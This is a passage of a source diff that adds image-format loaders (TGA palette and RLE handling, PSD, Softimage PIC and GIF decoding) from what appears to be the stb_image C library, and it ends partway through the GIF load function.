+            STBI_FREE(tga_data);
+            return stbi__errpuc("outofmem", "Out of memory");
+         }
+         if (tga_rgb16) {
+            stbi_uc *pal_entry = tga_palette;
+            STBI_ASSERT(tga_comp == STBI_rgb);
+            for (i=0; i < tga_palette_len; ++i) {
+               stbi__tga_read_rgb16(s, pal_entry);
+               pal_entry += tga_comp;
+            }
+         } else if (!stbi__getn(s, tga_palette, tga_palette_len * tga_comp)) {
+               STBI_FREE(tga_data);
+               STBI_FREE(tga_palette);
+               return stbi__errpuc("bad palette", "Corrupt TGA");
+         }
+      }
+      //   load the data
+      for (i=0; i < tga_width * tga_height; ++i)
+      {
+         //   if I'm in RLE mode, do I need to get a RLE stbi__pngchunk?
+         if ( tga_is_RLE )
+         {
+            if ( RLE_count == 0 )
+            {
+               //   yep, get the next byte as a RLE command
+               int RLE_cmd = stbi__get8(s);
+               RLE_count = 1 + (RLE_cmd & 127);
+               RLE_repeating = RLE_cmd >> 7;
+               read_next_pixel = 1;
+            } else if ( !RLE_repeating )
+            {
+               read_next_pixel = 1;
+            }
+         } else
+         {
+            read_next_pixel = 1;
+         }
+         //   OK, if I need to read a pixel, do it now
+         if ( read_next_pixel )
+         {
+            //   load however much data we did have
+            if ( tga_indexed )
+            {
+               // read in index, then perform the lookup
+               int pal_idx = (tga_bits_per_pixel == 8) ? stbi__get8(s) : stbi__get16le(s);
+               if ( pal_idx >= tga_palette_len ) {
+                  // invalid index
+                  pal_idx = 0;
+               }
+               pal_idx *= tga_comp;
+               for (j = 0; j < tga_comp; ++j) {
+                  raw_data[j] = tga_palette[pal_idx+j];
+               }
+            } else if(tga_rgb16) {
+               STBI_ASSERT(tga_comp == STBI_rgb);
+               stbi__tga_read_rgb16(s, raw_data);
+            } else {
+               //   read in the data raw
+               for (j = 0; j < tga_comp; ++j) {
+                  raw_data[j] = stbi__get8(s);
+               }
+            }
+            //   clear the reading flag for the next pixel
+            read_next_pixel = 0;
+         } // end of reading a pixel
+
+         // copy data
+         for (j = 0; j < tga_comp; ++j)
+           tga_data[i*tga_comp+j] = raw_data[j];
+
+         //   in case we're in RLE mode, keep counting down
+         --RLE_count;
+      }
+      //   do I need to invert the image?
+      if ( tga_inverted )
+      {
+         for (j = 0; j*2 < tga_height; ++j)
+         {
+            int index1 = j * tga_width * tga_comp;
+            int index2 = (tga_height - 1 - j) * tga_width * tga_comp;
+            for (i = tga_width * tga_comp; i > 0; --i)
+            {
+               unsigned char temp = tga_data[index1];
+               tga_data[index1] = tga_data[index2];
+               tga_data[index2] = temp;
+               ++index1;
+               ++index2;
+            }
+         }
+      }
+      //   clear my palette, if I had one
+      if ( tga_palette != NULL )
+      {
+         STBI_FREE( tga_palette );
+      }
+   }
+
+   // swap RGB - if the source data was RGB16, it already is in the right order
+   if (tga_comp >= 3 && !tga_rgb16)
+   {
+      unsigned char* tga_pixel = tga_data;
+      for (i=0; i < tga_width * tga_height; ++i)
+      {
+         unsigned char temp = tga_pixel[0];
+         tga_pixel[0] = tga_pixel[2];
+         tga_pixel[2] = temp;
+         tga_pixel += tga_comp;
+      }
+   }
+
+   // convert to target component count
+   if (req_comp && req_comp != tga_comp)
+      tga_data = stbi__convert_format(tga_data, tga_comp, req_comp, tga_width, tga_height);
+
+   //   the things I do to get rid of an error message, and yet keep
+   //   Microsoft's C compilers happy... [8^(
+   tga_palette_start = tga_palette_len = tga_palette_bits =
+         tga_x_origin = tga_y_origin = 0;
+   //   OK, done
+   return tga_data;
+}
+#endif
+
+// *************************************************************************************************
+// Photoshop PSD loader -- PD by Thatcher Ulrich, integration by Nicolas Schulz, tweaked by STB
+
+#ifndef STBI_NO_PSD
+static int stbi__psd_test(stbi__context *s)
+{
+   int r = (stbi__get32be(s) == 0x38425053);
+   stbi__rewind(s);
+   return r;
+}
+
+static int stbi__psd_decode_rle(stbi__context *s, stbi_uc *p, int pixelCount)
+{
+   int count, nleft, len;
+
+   count = 0;
+   while ((nleft = pixelCount - count) > 0) {
+      len = stbi__get8(s);
+      if (len == 128) {
+         // No-op.
+      } else if (len < 128) {
+         // Copy next len+1 bytes literally.
+         len++;
+         if (len > nleft) return 0; // corrupt data
+         count += len;
+         while (len) {
+            *p = stbi__get8(s);
+            p += 4;
+            len--;
+         }
+      } else if (len > 128) {
+         stbi_uc   val;
+         // Next -len+1 bytes in the dest are replicated from next source byte.
+         // (Interpret len as a negative 8-bit int.)
+         len = 257 - len;
+         if (len > nleft) return 0; // corrupt data
+         val = stbi__get8(s);
+         count += len;
+         while (len) {
+            *p = val;
+            p += 4;
+            len--;
+         }
+      }
+   }
+
+   return 1;
+}
+
+static void *stbi__psd_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri, int bpc)
+{
+   int pixelCount;
+   int channelCount, compression;
+   int channel, i;
+   int bitdepth;
+   int w,h;
+   stbi_uc *out;
+   STBI_NOTUSED(ri);
+
+   // Check identifier
+   if (stbi__get32be(s) != 0x38425053)   // "8BPS"
+      return stbi__errpuc("not PSD", "Corrupt PSD image");
+
+   // Check file type version.
+   if (stbi__get16be(s) != 1)
+      return stbi__errpuc("wrong version", "Unsupported version of PSD image");
+
+   // Skip 6 reserved bytes.
+   stbi__skip(s, 6 );
+
+   // Read the number of channels (R, G, B, A, etc).
+   channelCount = stbi__get16be(s);
+   if (channelCount < 0 || channelCount > 16)
+      return stbi__errpuc("wrong channel count", "Unsupported number of channels in PSD image");
+
+   // Read the rows and columns of the image.
+   h = stbi__get32be(s);
+   w = stbi__get32be(s);
+
+   // Make sure the depth is 8 bits.
+   bitdepth = stbi__get16be(s);
+   if (bitdepth != 8 && bitdepth != 16)
+      return stbi__errpuc("unsupported bit depth", "PSD bit depth is not 8 or 16 bit");
+
+   // Make sure the color mode is RGB.
+   // Valid options are:
+   //   0: Bitmap
+   //   1: Grayscale
+   //   2: Indexed color
+   //   3: RGB color
+   //   4: CMYK color
+   //   7: Multichannel
+   //   8: Duotone
+   //   9: Lab color
+   if (stbi__get16be(s) != 3)
+      return stbi__errpuc("wrong color format", "PSD is not in RGB color format");
+
+   // Skip the Mode Data.  (It's the palette for indexed color; other info for other modes.)
+   stbi__skip(s,stbi__get32be(s) );
+
+   // Skip the image resources.  (resolution, pen tool paths, etc)
+   stbi__skip(s, stbi__get32be(s) );
+
+   // Skip the reserved data.
+   stbi__skip(s, stbi__get32be(s) );
+
+   // Find out if the data is compressed.
+   // Known values:
+   //   0: no compression
+   //   1: RLE compressed
+   compression = stbi__get16be(s);
+   if (compression > 1)
+      return stbi__errpuc("bad compression", "PSD has an unknown compression format");
+
+   // Check size
+   if (!stbi__mad3sizes_valid(4, w, h, 0))
+      return stbi__errpuc("too large", "Corrupt PSD");
+
+   // Create the destination image.
+
+   if (!compression && bitdepth == 16 && bpc == 16) {
+      out = (stbi_uc *) stbi__malloc_mad3(8, w, h, 0);
+      ri->bits_per_channel = 16;
+   } else
+      out = (stbi_uc *) stbi__malloc(4 * w*h);
+
+   if (!out) return stbi__errpuc("outofmem", "Out of memory");
+   pixelCount = w*h;
+
+   // Initialize the data to zero.
+   //memset( out, 0, pixelCount * 4 );
+
+   // Finally, the image data.
+   if (compression) {
+      // RLE as used by .PSD and .TIFF
+      // Loop until you get the number of unpacked bytes you are expecting:
+      //     Read the next source byte into n.
+      //     If n is between 0 and 127 inclusive, copy the next n+1 bytes literally.
+      //     Else if n is between -127 and -1 inclusive, copy the next byte -n+1 times.
+      //     Else if n is 128, noop.
+      // Endloop
+
+      // The RLE-compressed data is preceeded by a 2-byte data count for each row in the data,
+      // which we're going to just skip.
+      stbi__skip(s, h * channelCount * 2 );
+
+      // Read the RLE data by channel.
+      for (channel = 0; channel < 4; channel++) {
+         stbi_uc *p;
+
+         p = out+channel;
+         if (channel >= channelCount) {
+            // Fill this channel with default data.
+            for (i = 0; i < pixelCount; i++, p += 4)
+               *p = (channel == 3 ? 255 : 0);
+         } else {
+            // Read the RLE data.
+            if (!stbi__psd_decode_rle(s, p, pixelCount)) {
+               STBI_FREE(out);
+               return stbi__errpuc("corrupt", "bad RLE data");
+            }
+         }
+      }
+
+   } else {
+      // We're at the raw image data.  It's each channel in order (Red, Green, Blue, Alpha, ...)
+      // where each channel consists of an 8-bit (or 16-bit) value for each pixel in the image.
+
+      // Read the data by channel.
+      for (channel = 0; channel < 4; channel++) {
+         if (channel >= channelCount) {
+            // Fill this channel with default data.
+            if (bitdepth == 16 && bpc == 16) {
+               stbi__uint16 *q = ((stbi__uint16 *) out) + channel;
+               stbi__uint16 val = channel == 3 ? 65535 : 0;
+               for (i = 0; i < pixelCount; i++, q += 4)
+                  *q = val;
+            } else {
+               stbi_uc *p = out+channel;
+               stbi_uc val = channel == 3 ? 255 : 0;
+               for (i = 0; i < pixelCount; i++, p += 4)
+                  *p = val;
+            }
+         } else {
+            if (ri->bits_per_channel == 16) {    // output bpc
+               stbi__uint16 *q = ((stbi__uint16 *) out) + channel;
+               for (i = 0; i < pixelCount; i++, q += 4)
+                  *q = (stbi__uint16) stbi__get16be(s);
+            } else {
+               stbi_uc *p = out+channel;
+               if (bitdepth == 16) {  // input bpc
+                  for (i = 0; i < pixelCount; i++, p += 4)
+                     *p = (stbi_uc) (stbi__get16be(s) >> 8);
+               } else {
+                  for (i = 0; i < pixelCount; i++, p += 4)
+                     *p = stbi__get8(s);
+               }
+            }
+         }
+      }
+   }
+
+   // remove weird white matte from PSD
+   if (channelCount >= 4) {
+      if (ri->bits_per_channel == 16) {
+         for (i=0; i < w*h; ++i) {
+            stbi__uint16 *pixel = (stbi__uint16 *) out + 4*i;
+            if (pixel[3] != 0 && pixel[3] != 65535) {
+               float a = pixel[3] / 65535.0f;
+               float ra = 1.0f / a;
+               float inv_a = 65535.0f * (1 - ra);
+               pixel[0] = (stbi__uint16) (pixel[0]*ra + inv_a);
+               pixel[1] = (stbi__uint16) (pixel[1]*ra + inv_a);
+               pixel[2] = (stbi__uint16) (pixel[2]*ra + inv_a);
+            }
+         }
+      } else {
+         for (i=0; i < w*h; ++i) {
+            unsigned char *pixel = out + 4*i;
+            if (pixel[3] != 0 && pixel[3] != 255) {
+               float a = pixel[3] / 255.0f;
+               float ra = 1.0f / a;
+               float inv_a = 255.0f * (1 - ra);
+               pixel[0] = (unsigned char) (pixel[0]*ra + inv_a);
+               pixel[1] = (unsigned char) (pixel[1]*ra + inv_a);
+               pixel[2] = (unsigned char) (pixel[2]*ra + inv_a);
+            }
+         }
+      }
+   }
+
+   // convert to desired output format
+   if (req_comp && req_comp != 4) {
+      if (ri->bits_per_channel == 16)
+         out = (stbi_uc *) stbi__convert_format16((stbi__uint16 *) out, 4, req_comp, w, h);
+      else
+         out = stbi__convert_format(out, 4, req_comp, w, h);
+      if (out == NULL) return out; // stbi__convert_format frees input on failure
+   }
+
+   if (comp) *comp = 4;
+   *y = h;
+   *x = w;
+
+   return out;
+}
+#endif
+
+// *************************************************************************************************
+// Softimage PIC loader
+// by Tom Seddon
+//
+// See http://softimage.wiki.softimage.com/index.php/INFO:_PIC_file_format
+// See http://ozviz.wasp.uwa.edu.au/~pbourke/dataformats/softimagepic/
+
+#ifndef STBI_NO_PIC
+static int stbi__pic_is4(stbi__context *s,const char *str)
+{
+   int i;
+   for (i=0; i<4; ++i)
+      if (stbi__get8(s) != (stbi_uc)str[i])
+         return 0;
+
+   return 1;
+}
+
+static int stbi__pic_test_core(stbi__context *s)
+{
+   int i;
+
+   if (!stbi__pic_is4(s,"\x53\x80\xF6\x34"))
+      return 0;
+
+   for(i=0;i<84;++i)
+      stbi__get8(s);
+
+   if (!stbi__pic_is4(s,"PICT"))
+      return 0;
+
+   return 1;
+}
+
+typedef struct
+{
+   stbi_uc size,type,channel;
+} stbi__pic_packet;
+
+static stbi_uc *stbi__readval(stbi__context *s, int channel, stbi_uc *dest)
+{
+   int mask=0x80, i;
+
+   for (i=0; i<4; ++i, mask>>=1) {
+      if (channel & mask) {
+         if (stbi__at_eof(s)) return stbi__errpuc("bad file","PIC file too short");
+         dest[i]=stbi__get8(s);
+      }
+   }
+
+   return dest;
+}
+
+static void stbi__copyval(int channel,stbi_uc *dest,const stbi_uc *src)
+{
+   int mask=0x80,i;
+
+   for (i=0;i<4; ++i, mask>>=1)
+      if (channel&mask)
+         dest[i]=src[i];
+}
+
+static stbi_uc *stbi__pic_load_core(stbi__context *s,int width,int height,int *comp, stbi_uc *result)
+{
+   int act_comp=0,num_packets=0,y,chained;
+   stbi__pic_packet packets[10];
+
+   // this will (should...) cater for even some bizarre stuff like having data
+    // for the same channel in multiple packets.
+   do {
+      stbi__pic_packet *packet;
+
+      if (num_packets==sizeof(packets)/sizeof(packets[0]))
+         return stbi__errpuc("bad format","too many packets");
+
+      packet = &packets[num_packets++];
+
+      chained = stbi__get8(s);
+      packet->size    = stbi__get8(s);
+      packet->type    = stbi__get8(s);
+      packet->channel = stbi__get8(s);
+
+      act_comp |= packet->channel;
+
+      if (stbi__at_eof(s))          return stbi__errpuc("bad file","file too short (reading packets)");
+      if (packet->size != 8)  return stbi__errpuc("bad format","packet isn't 8bpp");
+   } while (chained);
+
+   *comp = (act_comp & 0x10 ? 4 : 3); // has alpha channel?
+
+   for(y=0; y<height; ++y) {
+      int packet_idx;
+
+      for(packet_idx=0; packet_idx < num_packets; ++packet_idx) {
+         stbi__pic_packet *packet = &packets[packet_idx];
+         stbi_uc *dest = result+y*width*4;
+
+         switch (packet->type) {
+            default:
+               return stbi__errpuc("bad format","packet has bad compression type");
+
+            case 0: {//uncompressed
+               int x;
+
+               for(x=0;x<width;++x, dest+=4)
+                  if (!stbi__readval(s,packet->channel,dest))
+                     return 0;
+               break;
+            }
+
+            case 1://Pure RLE
+               {
+                  int left=width, i;
+
+                  while (left>0) {
+                     stbi_uc count,value[4];
+
+                     count=stbi__get8(s);
+                     if (stbi__at_eof(s))   return stbi__errpuc("bad file","file too short (pure read count)");
+
+                     if (count > left)
+                        count = (stbi_uc) left;
+
+                     if (!stbi__readval(s,packet->channel,value))  return 0;
+
+                     for(i=0; i<count; ++i,dest+=4)
+                        stbi__copyval(packet->channel,dest,value);
+                     left -= count;
+                  }
+               }
+               break;
+
+            case 2: {//Mixed RLE
+               int left=width;
+               while (left>0) {
+                  int count = stbi__get8(s), i;
+                  if (stbi__at_eof(s))  return stbi__errpuc("bad file","file too short (mixed read count)");
+
+                  if (count >= 128) { // Repeated
+                     stbi_uc value[4];
+
+                     if (count==128)
+                        count = stbi__get16be(s);
+                     else
+                        count -= 127;
+                     if (count > left)
+                        return stbi__errpuc("bad file","scanline overrun");
+
+                     if (!stbi__readval(s,packet->channel,value))
+                        return 0;
+
+                     for(i=0;i<count;++i, dest += 4)
+                        stbi__copyval(packet->channel,dest,value);
+                  } else { // Raw
+                     ++count;
+                     if (count>left) return stbi__errpuc("bad file","scanline overrun");
+
+                     for(i=0;i<count;++i, dest+=4)
+                        if (!stbi__readval(s,packet->channel,dest))
+                           return 0;
+                  }
+                  left-=count;
+               }
+               break;
+            }
+         }
+      }
+   }
+
+   return result;
+}
+
+static void *stbi__pic_load(stbi__context *s,int *px,int *py,int *comp,int req_comp, stbi__result_info *ri)
+{
+   stbi_uc *result;
+   int i, x,y, internal_comp;
+   STBI_NOTUSED(ri);
+
+   if (!comp) comp = &internal_comp;
+
+   for (i=0; i<92; ++i)
+      stbi__get8(s);
+
+   x = stbi__get16be(s);
+   y = stbi__get16be(s);
+   if (stbi__at_eof(s))  return stbi__errpuc("bad file","file too short (pic header)");
+   if (!stbi__mad3sizes_valid(x, y, 4, 0)) return stbi__errpuc("too large", "PIC image too large to decode");
+
+   stbi__get32be(s); //skip `ratio'
+   stbi__get16be(s); //skip `fields'
+   stbi__get16be(s); //skip `pad'
+
+   // intermediate buffer is RGBA
+   result = (stbi_uc *) stbi__malloc_mad3(x, y, 4, 0);
+   memset(result, 0xff, x*y*4);
+
+   if (!stbi__pic_load_core(s,x,y,comp, result)) {
+      STBI_FREE(result);
+      result=0;
+   }
+   *px = x;
+   *py = y;
+   if (req_comp == 0) req_comp = *comp;
+   result=stbi__convert_format(result,4,req_comp,x,y);
+
+   return result;
+}
+
+static int stbi__pic_test(stbi__context *s)
+{
+   int r = stbi__pic_test_core(s);
+   stbi__rewind(s);
+   return r;
+}
+#endif
+
+// *************************************************************************************************
+// GIF loader -- public domain by Jean-Marc Lienher -- simplified/shrunk by stb
+
+#ifndef STBI_NO_GIF
+typedef struct
+{
+   stbi__int16 prefix;
+   stbi_uc first;
+   stbi_uc suffix;
+} stbi__gif_lzw;
+
+typedef struct
+{
+   int w,h;
+   stbi_uc *out;                 // output buffer (always 4 components)
+   stbi_uc *background;          // The current "background" as far as a gif is concerned
+   stbi_uc *history; 
+   int flags, bgindex, ratio, transparent, eflags;
+   stbi_uc  pal[256][4];
+   stbi_uc lpal[256][4];
+   stbi__gif_lzw codes[8192];
+   stbi_uc *color_table;
+   int parse, step;
+   int lflags;
+   int start_x, start_y;
+   int max_x, max_y;
+   int cur_x, cur_y;
+   int line_size;
+   int delay;
+} stbi__gif;
+
+static int stbi__gif_test_raw(stbi__context *s)
+{
+   int sz;
+   if (stbi__get8(s) != 'G' || stbi__get8(s) != 'I' || stbi__get8(s) != 'F' || stbi__get8(s) != '8') return 0;
+   sz = stbi__get8(s);
+   if (sz != '9' && sz != '7') return 0;
+   if (stbi__get8(s) != 'a') return 0;
+   return 1;
+}
+
+static int stbi__gif_test(stbi__context *s)
+{
+   int r = stbi__gif_test_raw(s);
+   stbi__rewind(s);
+   return r;
+}
+
+static void stbi__gif_parse_colortable(stbi__context *s, stbi_uc pal[256][4], int num_entries, int transp)
+{
+   int i;
+   for (i=0; i < num_entries; ++i) {
+      pal[i][2] = stbi__get8(s);
+      pal[i][1] = stbi__get8(s);
+      pal[i][0] = stbi__get8(s);
+      pal[i][3] = transp == i ? 0 : 255;
+   }
+}
+
+static int stbi__gif_header(stbi__context *s, stbi__gif *g, int *comp, int is_info)
+{
+   stbi_uc version;
+   if (stbi__get8(s) != 'G' || stbi__get8(s) != 'I' || stbi__get8(s) != 'F' || stbi__get8(s) != '8')
+      return stbi__err("not GIF", "Corrupt GIF");
+
+   version = stbi__get8(s);
+   if (version != '7' && version != '9')    return stbi__err("not GIF", "Corrupt GIF");
+   if (stbi__get8(s) != 'a')                return stbi__err("not GIF", "Corrupt GIF");
+
+   stbi__g_failure_reason = "";
+   g->w = stbi__get16le(s);
+   g->h = stbi__get16le(s);
+   g->flags = stbi__get8(s);
+   g->bgindex = stbi__get8(s);
+   g->ratio = stbi__get8(s);
+   g->transparent = -1;
+
+   if (comp != 0) *comp = 4;  // can't actually tell whether it's 3 or 4 until we parse the comments
+
+   if (is_info) return 1;
+
+   if (g->flags & 0x80)
+      stbi__gif_parse_colortable(s,g->pal, 2 << (g->flags & 7), -1);
+
+   return 1;
+}
+
+static int stbi__gif_info_raw(stbi__context *s, int *x, int *y, int *comp)
+{
+   stbi__gif* g = (stbi__gif*) stbi__malloc(sizeof(stbi__gif));
+   if (!stbi__gif_header(s, g, comp, 1)) {
+      STBI_FREE(g);
+      stbi__rewind( s );
+      return 0;
+   }
+   if (x) *x = g->w;
+   if (y) *y = g->h;
+   STBI_FREE(g);
+   return 1;
+}
+
+static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)
+{
+   stbi_uc *p, *c;
+   int idx; 
+
+   // recurse to decode the prefixes, since the linked-list is backwards,
+   // and working backwards through an interleaved image would be nasty
+   if (g->codes[code].prefix >= 0)
+      stbi__out_gif_code(g, g->codes[code].prefix);
+
+   if (g->cur_y >= g->max_y) return;
+
+   idx = g->cur_x + g->cur_y; 
+   p = &g->out[idx];
+   g->history[idx / 4] = 1;  
+
+   c = &g->color_table[g->codes[code].suffix * 4];
+   if (c[3] > 128) { // don't render transparent pixels; 
+      p[0] = c[2];
+      p[1] = c[1];
+      p[2] = c[0];
+      p[3] = c[3];
+   }
+   g->cur_x += 4;
+
+   if (g->cur_x >= g->max_x) {
+      g->cur_x = g->start_x;
+      g->cur_y += g->step;
+
+      while (g->cur_y >= g->max_y && g->parse > 0) {
+         g->step = (1 << g->parse) * g->line_size;
+         g->cur_y = g->start_y + (g->step >> 1);
+         --g->parse;
+      }
+   }
+}
+
+static stbi_uc *stbi__process_gif_raster(stbi__context *s, stbi__gif *g)
+{
+   stbi_uc lzw_cs;
+   stbi__int32 len, init_code;
+   stbi__uint32 first;
+   stbi__int32 codesize, codemask, avail, oldcode, bits, valid_bits, clear;
+   stbi__gif_lzw *p;
+
+   lzw_cs = stbi__get8(s);
+   if (lzw_cs > 12) return NULL;
+   clear = 1 << lzw_cs;
+   first = 1;
+   codesize = lzw_cs + 1;
+   codemask = (1 << codesize) - 1;
+   bits = 0;
+   valid_bits = 0;
+   for (init_code = 0; init_code < clear; init_code++) {
+      g->codes[init_code].prefix = -1;
+      g->codes[init_code].first = (stbi_uc) init_code;
+      g->codes[init_code].suffix = (stbi_uc) init_code;
+   }
+
+   // support no starting clear code
+   avail = clear+2;
+   oldcode = -1;
+
+   len = 0;
+   for(;;) {
+      if (valid_bits < codesize) {
+         if (len == 0) {
+            len = stbi__get8(s); // start new block
+            if (len == 0)
+               return g->out;
+         }
+         --len;
+         bits |= (stbi__int32) stbi__get8(s) << valid_bits;
+         valid_bits += 8;
+      } else {
+         stbi__int32 code = bits & codemask;
+         bits >>= codesize;
+         valid_bits -= codesize;
+         // @OPTIMIZE: is there some way we can accelerate the non-clear path?
+         if (code == clear) {  // clear code
+            codesize = lzw_cs + 1;
+            codemask = (1 << codesize) - 1;
+            avail = clear + 2;
+            oldcode = -1;
+            first = 0;
+         } else if (code == clear + 1) { // end of stream code
+            stbi__skip(s, len);
+            while ((len = stbi__get8(s)) > 0)
+               stbi__skip(s,len);
+            return g->out;
+         } else if (code <= avail) {
+            if (first) {
+               return stbi__errpuc("no clear code", "Corrupt GIF");
+            }
+
+            if (oldcode >= 0) {
+               p = &g->codes[avail++];
+               if (avail > 8192) {
+                  return stbi__errpuc("too many codes", "Corrupt GIF");
+               }
+
+               p->prefix = (stbi__int16) oldcode;
+               p->first = g->codes[oldcode].first;
+               p->suffix = (code == avail) ? p->first : g->codes[code].first;
+            } else if (code == avail)
+               return stbi__errpuc("illegal code in raster", "Corrupt GIF");
+
+            stbi__out_gif_code(g, (stbi__uint16) code);
+
+            if ((avail & codemask) == 0 && avail <= 0x0FFF) {
+               codesize++;
+               codemask = (1 << codesize) - 1;
+            }
+
+            oldcode = code;
+         } else {
+            return stbi__errpuc("illegal code in raster", "Corrupt GIF");
+         }
+      }
+   }
+}
+
+// this function is designed to support animated gifs, although stb_image doesn't support it
+// two back is the image from two frames ago, used for a very specific disposal format
+static stbi_uc *stbi__gif_load_next(stbi__context *s, stbi__gif *g, int *comp, int req_comp, stbi_uc *two_back)
+{
+   int dispose; 
+   int first_frame; 
+   int pi; 
+   int pcount; 
+
+   // on first frame, any non-written pixels get the background colour (non-transparent)
+   first_frame = 0; 
+   if (g->out == 0) {
+      if (!stbi__gif_header(s, g, comp,0))     return 0; // stbi__g_failure_reason set by stbi__gif_header
+      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);
+      g->background = (stbi_uc *) stbi__malloc(4 * g->w * g->h); 
+      g->history = (stbi_uc *) stbi__malloc(g->w * g->h); 
+      if (g->out == 0)                      return stbi__errpuc("outofmem", "Out of memory");
+
+      // image is treated as "tranparent" at the start - ie, nothing overwrites the current background; 
+      // background colour is only used for pixels that are not rendered first frame, after that "background"
+      // color refers to teh color that was there the previous frame. 
+      memset( g->out, 0x00, 4 * g->w * g->h ); 
+      memset( g->background, 0x00, 4 * g->w * g->h ); // state of the background (starts transparent)
+      memset( g->history, 0x00, g->w * g->h );        // pixels that were affected previous frame
+      first_frame = 1; 
+   } else {
+      // second frame - how do we dispoase of the previous one?
+      dispose = (g->eflags & 0x1C) >> 2; 
+      pcount = g->w * g->h; 
+
+      if ((dispose == 3) && (two_back == 0)) {
+         dispose = 2; // if I don't have an image to revert back to, default to the old background
+      }
+
+      if (dispose == 3) { // use previous graphic
+         for (pi = 0; pi < pcount; ++pi) {
+            if (g->history[pi]) {
+               memcpy( &g->out[pi * 4], &two_back[pi * 4], 4 ); 
+            }
+         }
+      } else if (dispose == 2) { 
+         // restore what was changed last frame to background before that frame; 
+         for (pi = 0; pi < pcount; ++pi) {
+            if (g->history[pi]) {
+               memcpy( &g->out[pi * 4], &g->background[pi * 4], 4 ); 
+            }
+         }
+      } else {
+         // This is a non-disposal case eithe way, so just 
+         // leave the pixels as is, and they will become the new background
+         // 1: do not dispose
+         // 0:  not specified.
+      }
+
+      // background is what out is after the undoing of the previou frame; 
+      memcpy( g->background, g->out, 4 * g->w * g->h ); 
+   }
+
+   // clear my history; 
+   memset( g->history, 0x00, g->w * g->h );        // pixels that were affected previous frame
+
+   for (;;) {
+      int tag = stbi__get8(s); 
+      switch (tag) {
+         case 0x2C: /* Image Descriptor */
+         {
+            stbi__int32 x, y, w, h;
+            stbi_uc *o;
+
+            x = stbi__get16le(s);
+            y = stbi__get16le(s);
+            w = stbi__get16le(s);
+            h = stbi__get16le(s);
+            if (((x + w) > (g->w)) || ((y + h) > (g->h)))
+               return stbi__errpuc("bad Image Descriptor", "Corrupt GIF");
+
+            g->line_size = g->w * 4;
+            g->start_x = x * 4;
+            g->start_y = y * g->line_size;
+            g->max_x   = g->start_x + w * 4;
+            g->max_y   = g->start_y + h * g->line_size;
+            g->cur_x   = g->start_x;
+            g->cur_y   = g->start_y;
+
+            g->lflags = stbi__get8(s);
+
+            if (g->lflags & 0x40) {
+               g->step = 8 * g->line_size; // first interlaced spacing
+               g->parse = 3;
+            } else {
+               g->step = g->line_size;
+               g->parse = 0;
+            }
+
+            if (g->lflags & 0x80) {
+               stbi__gif_parse_colortable(s,g->lpal, 2 << (g->lflags & 7), g->eflags & 0x01 ? g->transparent : -1);
+               g->color_table = (stbi_uc *) g->lpal;
+            } else if (g->flags & 0x80) {
+               g->color_table = (stbi_uc *) g->pal;
+            } else
+               return stbi__errpuc("missing color table", "Corrupt GIF");            
+            
+            o = stbi__process_gif_raster(s, g);
+            if (o == NULL) return NULL;
+
+            // if this was the first frame, 
+            pcount = g->w * g->h; 
+            if (first_frame && (g->bgindex > 0)) {
+               // if first frame, any pixel not drawn to gets the background color
+               for (pi = 0; pi < pcount; ++pi) {
+                  if (g->history[pi] == 0) {
+                     g->pal[g->bgindex][3] = 255; // just in case it was made transparent, undo that; It will be reset next frame if need be; 
+                     memcpy( &g->out[pi * 4], &g->pal[g->bgindex], 4 ); 
+                  }
+               }
+            }
+
+            return o;
+         }
+
+         case 0x21: // Comment Extension.
+         {
+            int len;
+            int ext = stbi__get8(s); 
+            if (ext == 0xF9) { // Graphic Control Extension.
+               len = stbi__get8(s);
+               if (len == 4) {
+                  g->eflags = stbi__get8(s);
+                  g->delay = 10 * stbi__get16le(s); // delay - 1/100th of a second, saving as 1/1000ths.
+
+                  // unset old transparent
+                  if (g->transparent >= 0) {
+                     g->pal[g->transparent][3] = 255; 
+                  } 
+                  if (g->eflags & 0x01) {
+                     g->transparent = stbi__get8(s);
+                     if (g->transparent >= 0) {
+                        g->pal[g->transparent][3] = 0; 
+                     }
+                  } else {
+                     // don't need transparent
+                     stbi__skip(s, 1); 
+                     g->transparent = -1; 
+                  }
+               } else {
+                  stbi__skip(s, len);
+                  break;
+               }
+            } 
+            while ((len = stbi__get8(s)) != 0) {
+               stbi__skip(s, len);
+            }
+            break;
+         }
+
+         case 0x3B: // gif stream termination code
+            return (stbi_uc *) s; // using '1' causes warning on some compilers
+
+         default:
+            return stbi__errpuc("unknown code", "Corrupt GIF");
+      }
+   }
+}
+
+static void *stbi__load_gif_main(stbi__context *s, int **delays, int *x, int *y, int *z, int *comp, int req_comp)
+{
+   if (stbi__gif_test(s)) {
+      int layers = 0; 
+      stbi_uc *u = 0;
+      stbi_uc *out = 0;
+      stbi_uc *two_back = 0; 
+      stbi__gif g;
+      int stride; 
+      memset(&g, 0, sizeof(g));
+      if (delays) {
+         *delays = 0; 
+      }
+
+      do {
+         u = stbi__gif_load_next(s, &g, comp, req_comp, two_back);
+         if (u == (stbi_uc *) s) u = 0;  // end of animated gif marker
+
+         if (u) {
+            *x = g.w;
+            *y = g.h;
+            ++layers; 
+            stride = g.w * g.h * 4; 
+         
+            if (out) {
+               out = (stbi_uc*) STBI_REALLOC( out, layers * stride ); 
+               if (delays) {
+                  *delays = (int*) STBI_REALLOC( *delays, sizeof(int) * layers ); 
+               }
+            } else {
+               out = (stbi_uc*)stbi__malloc( layers * stride ); 
+               if (delays) {
+                  *delays = (int*) stbi__malloc( layers * sizeof(int) ); 
+               }
+            }
+            memcpy( out + ((layers - 1) * stride), u, stride ); 
+            if (layers >= 2) {
+               two_back = out - 2 * stride; 
+            }
+
+            if (delays) {
+               (*delays)[layers - 1U] = g.delay; 
+            }
+         }
+      } while (u != 0); 
+
+      // free temp buffer; 
+      STBI_FREE(g.out); 
+      STBI_FREE(g.history); 
+      STBI_FREE(g.background); 
+
+      // do the final conversion after loading everything; 
+      if (req_comp && req_comp != 4)
+         out = stbi__convert_format(out, 4, req_comp, layers * g.w, g.h);
+
+      *z = layers; 
+      return out;
+   } else {
+      return stbi__errpuc("not GIF", "Image was not as a gif type."); 
+   }
+}
+
+static void *stbi__gif_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   stbi_uc *u = 0;
+   stbi__gif g;
+   memset(&g, 0, sizeof(g));
+
+   u = stbi__gif_load_next(s, &g, comp, req_comp, 0);
+   if (u == (stbi_uc *) s) u = 0;  // end of animated gif marker
+   if (u) {
+      *x = g.w;
+      *y = g.h;
+
